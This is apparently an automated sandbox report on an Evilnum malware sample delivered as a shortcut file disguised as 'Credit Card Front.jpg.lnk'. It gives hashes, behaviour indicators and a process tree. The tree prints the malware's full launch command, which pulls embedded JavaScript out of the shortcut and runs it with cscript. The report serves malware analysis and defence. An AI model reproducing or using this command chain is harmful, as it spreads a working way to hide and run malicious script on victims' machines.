evilnum | 1bd7598549a967fe6df9c79a173e3f6c6721ec21088e5e1543e2865436cce284

Analysis

Target

1bd7598549a967fe6df9c79a173e3f6c6721ec21088e5e1543e2865436cce284.lnk
Size

173KB
MD5

8c4675a080b642bbf9f096d0e60711ff
SHA1

36345044d5e88cc8c002863e3f1f48fdec8ff4d9
SHA256

1bd7598549a967fe6df9c79a173e3f6c6721ec21088e5e1543e2865436cce284
SHA512

362243992ad92b2824c3e2f102d4337da32181868fe482c4d4d058c7a50a020df2fff1f5be8a7bbd50469a55b4b142831ff2f44f81136b406f07a4c81513f3b1

Score

10^/10

evilnum trojan

Evilnum
A malware family with multiple components distributed through LNK files.
trojan evilnum
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Suspicious use of WriteProcessMemory 18 IoCs

description	pid	Process	procid_target
PID 1672 wrote to memory of 1876	1672	cmd.exe	28
PID 1672 wrote to memory of 1876	1672	cmd.exe	28
PID 1672 wrote to memory of 1876	1672	cmd.exe	28
PID 1876 wrote to memory of 1656	1876	cmd.exe	29
PID 1876 wrote to memory of 1656	1876	cmd.exe	29
PID 1876 wrote to memory of 1656	1876	cmd.exe	29
PID 1876 wrote to memory of 524	1876	cmd.exe	30
PID 1876 wrote to memory of 524	1876	cmd.exe	30
PID 1876 wrote to memory of 524	1876	cmd.exe	30
PID 1876 wrote to memory of 676	1876	cmd.exe	31
PID 1876 wrote to memory of 676	1876	cmd.exe	31
PID 1876 wrote to memory of 676	1876	cmd.exe	31
PID 1876 wrote to memory of 472	1876	cmd.exe	32
PID 1876 wrote to memory of 472	1876	cmd.exe	32
PID 1876 wrote to memory of 472	1876	cmd.exe	32
PID 1876 wrote to memory of 800	1876	cmd.exe	33
PID 1876 wrote to memory of 800	1876	cmd.exe	33
PID 1876 wrote to memory of 800	1876	cmd.exe	33

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\1bd7598549a967fe6df9c79a173e3f6c6721ec21088e5e1543e2865436cce284.lnk
1⤵
- Suspicious use of WriteProcessMemory
PID:1672
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c path=C:\Windows\system32&&move "Credit Card Front.jpg.lnk " "C:\Users\Admin\AppData\Local\Temp\1.lnk"&forfiles /P "C:\Users\Admin\AppData\Local\Temp" /M "Cred*.lnk" /S /D 0 /C "C:\Windows\system32\cmd.exe /c move @path C:\Users\Admin\AppData\Local\Temp\1.lnk"&type "C:\Users\Admin\AppData\Local\Temp\1.lnk"|find "TRU4">"C:\Users\Admin\AppData\Local\Temp\0.js"|rd a||cSCripT "C:\Users\Admin\AppData\Local\Temp\0.js"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1876
- - C:\Windows\system32\forfiles.exe
    forfiles /P "C:\Users\Admin\AppData\Local\Temp" /M "Cred*.lnk" /S /D 0 /C "C:\Windows\system32\cmd.exe /c move @path C:\Users\Admin\AppData\Local\Temp\1.lnk"
    3⤵
    PID:1656
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /S /D /c" type "C:\Users\Admin\AppData\Local\Temp\1.lnk""
    3⤵
    PID:524
- - C:\Windows\system32\find.exe
    find "TRU4"
    3⤵
    PID:676
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /S /D /c" rd a"
    3⤵
    PID:472
- - C:\Windows\system32\cscript.exe
    cSCripT "C:\Users\Admin\AppData\Local\Temp\0.js"
    3⤵
    PID:800

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

memory/1672-54-0x000007FEFBAD1000-0x000007FEFBAD3000-memory.dmp

Filesize
8KB

Download